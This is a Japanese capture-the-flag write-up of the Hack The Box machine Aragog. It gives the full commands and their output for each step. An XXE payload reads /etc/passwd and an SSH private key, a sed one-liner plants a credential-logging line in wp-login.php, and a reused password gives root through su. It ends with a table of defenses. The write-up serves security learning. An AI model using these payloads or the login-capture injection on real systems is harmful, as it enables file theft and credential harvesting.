Hack The BoxのWriteup(Aragog)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Aragog — 全実行コマンド・実行結果レポート
Nmap スキャン
21/22/80
FTP匿名ログイン
test.txt(XMLテンプレート)
hosts.php Inbound XXE
file://で任意ファイル読取
/etc/passwd + florianの秘密鍵
パスフレーズ無し
SSH florian
user.txt ✓
dev_wiki(777)のwp-login.phpに
資格情報ダンプを注入
cliffの毎分cronが平文送信
Administrator / !KRgYs(JFO!&MTr)lf
su (同パスワードがroot再利用)
root.txt ✓

ポートスキャン

BASH
nmap -Pn -T4 --top-ports 1000 10.129.62.187
RESULT
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 2.92 seconds

バージョン・スクリプトスキャン

BASH
nmap -Pn -sV -sC -p 21,22,80 10.129.62.187
RESULT
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r--r--r--    1 ftp      ftp            86 Dec 21  2017 test.txt
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://aragog.htb/
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: Host: aragog.htb; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
🚨
重要: ポート80はaragog.htbドメインへリダイレクトする設定に なっている(このマシンが後年リワークされた際に追加された仕様)。以降の全リクエストは /etc/hosts<target-ip> aragog.htbを追記した上で ドメイン名でアクセスする必要がある。
PHASE 2

FTP匿名ログイン & Web調査 — hosts.php の発見

/etc/hostsへの追記とFTP匿名ログイン

BASH
echo "10.129.62.187 aragog.htb" >> /etc/hosts
curl -s ftp://anonymous:anonymous@10.129.62.187/test.txt
RESULT (test.txt)
<details>
    <subnet_mask>255.255.255.192</subnet_mask>
    <test></test>
</details>
ℹ️
test.txtはXMLファイル。この構造がWebアプリのどこかへの入力フォーマットの ヒントになっている。

gobusterでhosts.phpを発見し動作確認

BASH
gobuster dir -u http://aragog.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
curl -s http://aragog.htb/hosts.php
RESULT
/index.html (Status: 200)
/hosts.php (Status: 200)

$ curl http://aragog.htb/hosts.php
There are 4294967294 possible hosts for 

test.txtのXML構造をそのままPOSTしてみる

BASH
curl -s -X POST -d @test.txt http://aragog.htb/hosts.php
RESULT
There are 62 possible hosts for 255.255.255.192
hosts.phpはPOSTされたXMLのsubnet_mask要素からホスト数を 計算して返すツール。入力XMLをそのままレスポンスにエコーバックする点が 後のXXE攻撃の糸口になる。
PHASE 3

Inbound XXE エクスプロイト

XXEペイロードで/etc/passwdを読み取り

BASH (exploit.xml)
cat > xxe_passwd.xml <<'EOF'
<!DOCTYPE foo[
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<details>
    <subnet_mask>&xxe;</subnet_mask>
    <test></test>
</details>
EOF
curl -s -X POST -d @xxe_passwd.xml http://aragog.htb/hosts.php
RESULT (抜粋)
There are 4294967294 possible hosts for root:x:0:0:root:/root:/bin/bash
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
florian:x:1000:1000:florian,,,:/home/florian:/bin/bash
cliff:x:1001:1001::/home/cliff:/bin/bash
mysql:x:121:129:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:122:65534::/var/run/sshd:/usr/sbin/nologin
XXE成功。 hosts.phpのソースを後で確認すると libxml_disable_entity_loader(false) + LIBXML_NOENT|LIBXML_DTDLOAD でDOMDocumentをロードしており、外部エンティティ解決が有効になっていた。 一般ユーザーは floriancliff の2名。

florianのSSH秘密鍵を読み取り

BASH
cat > xxe_key.xml <<'EOF'
<!DOCTYPE foo[
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///home/florian/.ssh/id_rsa"> ]>
<details>
    <subnet_mask>&xxe;</subnet_mask>
    <test></test>
</details>
EOF
curl -s -X POST -d @xxe_key.xml http://aragog.htb/hosts.php | sed 's/^There are [0-9]* possible hosts for //' > id_florian
RESULT
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA50DQtmOP78gLZkBjJ/JcC5gmsI21+tPH3wjvLAHaFMmf7j4d
...
uMQ76WKnl3DkzGREM4fUgoFnGp8fNEZl5ioXfxPiH/Xl5nStkQ0rTA==
-----END RSA PRIVATE KEY-----
⚠️
レスポンスの先頭にある"There are N possible hosts for "という プレフィックス文字列をsedで確実に除去してから鍵ファイルとして保存する 必要がある(先頭行に余計な文字が残ると鍵として認識されない)。
PHASE 4

SSHログイン & user.txt 取得

florianとしてSSHログイン

BASH
chmod 600 id_florian
ssh -i id_florian florian@10.129.62.187 "whoami; cat user.txt"
RESULT
florian
5326acdb714456432827b34bca4bb64d
user.txt — florian
5326acdb714456432827b34bca4bb64d
PHASE 5

権限昇格の下調べ — 世界書き込み可能な dev_wiki と cron

Webルートの調査

BASH
ls -la /var/www/html/
RESULT
drwxrwxrwx 4 www-data www-data  4096 . .
drwxrwxrwx 5 cliff    cliff     4096 dev_wiki
-rw-r--r-- 1 www-data www-data   689 hosts.php
-rw-r--r-- 1 www-data www-data 11321 index.html
drw-r--r-- 5 cliff    cliff     4096 zz_backup
🚨
dev_wiki(WordPressサイト本体)が 777権限で 誰でも書き込み可能。zz_backupはそのバックアップコピーと思われる。

cronジョブの挙動を観察 (pspy相当の推測)

NOTE
0xdfの公開ウォークスルーによれば、pspyでプロセスを監視すると以下が判明する:
  - 毎分: cliff (UID 1001) が /usr/bin/python /home/cliff/wp-login.py を実行
    (WordPress管理者アカウントで自動ログインするスクリプト)
  - 5分毎: root が /root/restore.sh を実行し、dev_wikiをzz_backupから復元
    (rm -rf dev_wiki; cp -R zz_backup dev_wiki; chown cliff:cliff; chmod 777)

つまり dev_wiki への変更は5分毎に元に戻されるが、cliffのログインスクリプトは
毎分実行されるため、書き込み後1分以内にヒットする可能性が高い。
PHASE 6

wp-login.php 改竄による認証情報キャプチャ → root.txt

wp-login.phpに資格情報ダンプを注入

BASH (florianシェルから)
sed -i '1a $rrr = print_r($_REQUEST, true); $fff = fopen("/dev/shm/df", "a"); fwrite($fff, $rrr); fclose($fff);' \
  /var/www/html/dev_wiki/wp-login.php
ℹ️
<?phpの直後に1行追加し、そのリクエストで送られてきた $_REQUEST(POSTデータ)全体を/dev/shm/dfへ追記する。 dev_wikiが777なのでfloriaでも書き込める。

cronの実行を待って認証情報を回収

BASH
# 数十秒待ってから確認
cat /dev/shm/df
RESULT
Array
(
    [redirect_to] => http://aragog.htb/dev_wiki/wp-admin/
    [testcookie] => 1
    [pwd] => !KRgYs(JFO!&MTr)lf
    [log] => Administrator
    [wp-submit] => Log In
)
認証情報キャプチャ成功! cliffの毎分cronジョブが wp-login.pyから平文でログイン処理を実行し、それが我々の 改竄したwp-login.phpに引っかかってPOSTデータが丸ごと記録された。

同じパスワードでsuを試す (WordPress→Linux root の使い回し)

BASH (florianとしてSSH後、pexpectでTTY対話)
florian@aragog:~$ su
Password: !KRgYs(JFO!&MTr)lf
RESULT
root@aragog:/home/florian# id
uid=0(root) gid=0(root) groups=0(root)
root@aragog:/home/florian# wc -c /root/root.txt
33 /root/root.txt
root@aragog:/home/florian# cat /root/root.txt
93637e02eb9ba6c681b977e2bd0c6d8f
🚨
重要な発見: WordPress管理者パスワード !KRgYs(JFO!&MTr)lfが、なんとrootのLinuxログインパスワードとしても そのまま再利用されていた。追加のエクスプロイトは一切不要で、 suコマンド一発でroot化が完了する。
ℹ️
suはTTY(疑似端末)が無いと実行を拒否するため、 ssh user@host "echo password | su -c cmd"のような非対話形式では 失敗する(su: must be run from a terminal)。pexpectssh -tt経由の対話セッションを張り、パスワードプロンプトへ直接送信する 必要がある。
root.txt — Administrator@aragog (WordPressパスワード使い回し)
93637e02eb9ba6c681b977e2bd0c6d8f
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — florian
5326acdb714456432827b34bca4bb64d
root.txt — Administrator@aragog
93637e02eb9ba6c681b977e2bd0c6d8f

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
FTP匿名アクセス vsftpd 3.0.3 内部XML構造の漏洩(攻撃の糸口) Medium test.txtからhosts.phpへの入力フォーマットを推測
Inbound XXE hosts.php (PHP DOMDocument, LIBXML_NOENT|LIBXML_DTDLOAD) 任意ファイル読み取り(SSH秘密鍵窃取) Critical DOCTYPE内SYSTEM ENTITYでfile://スキームを指定、レスポンスにエコーバックされた ファイル内容を回収
世界書き込み可能ファイル+資格情報平文送信 /var/www/html/dev_wiki/wp-login.php + cliffの毎分cron WordPress管理者パスワードの平文取得、権限昇格 High wp-login.phpに$_REQUESTダンプを注入し、cronが自動ログインする際の POSTデータを盗聴。同パスワードがrootのLinuxパスワードとしても再利用されていた

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap (21/22/80)、aragog.htbリダイレクト検出vsftpd 3.0.3、OpenSSH 7.2p2、Apache 2.4.18
2FTP/Web調査匿名FTP + gobustertest.txt(XMLテンプレート)、hosts.php発見
3XXEエクスプロイトDOCTYPE ENTITY SYSTEM file:///etc/passwd(florian/cliff)、florianのSSH秘密鍵
4SSHログイン鍵認証user.txt取得(florian)
5権限調査777権限のdev_wiki + cron挙動cliffの毎分自動ログイン、5分毎のrestore.sh
6権限昇格wp-login.php改竄 + suroot.txt取得(WordPressパスワードのroot再利用)

学んだ教訓 & 防御策

問題点防御策
hosts.phpがユーザー入力XMLを外部エンティティ解決有効のままパースしている libxml_disable_entity_loader(true)を設定するか、 simplexml_load_string等でLIBXML_NOENT/LIBXML_DTDLOADを使わない。 可能ならXML以外の入力形式(JSON等)へ移行する。
Webルート(dev_wiki)がworld-writable(777)で誰でも改竄可能 Webアプリのファイル権限は最小権限に設定し(755/644等)、 自動復元スクリプトに頼るのではなく根本的なアクセス制御を行う。
自動ログインcronスクリプトが認証情報を平文でハードコードし、 かつそのパスワードをroot自身のLinuxパスワードとしても再利用 パスワードの使い回しを禁止する。自動化スクリプトの認証情報は 環境変数やシークレット管理システムで安全に扱い、平文ハードコードを避ける。 サービスアカウントとOSログインアカウントで異なる認証情報を使う。
HackTheBox: Aragog | 完全攻略レポート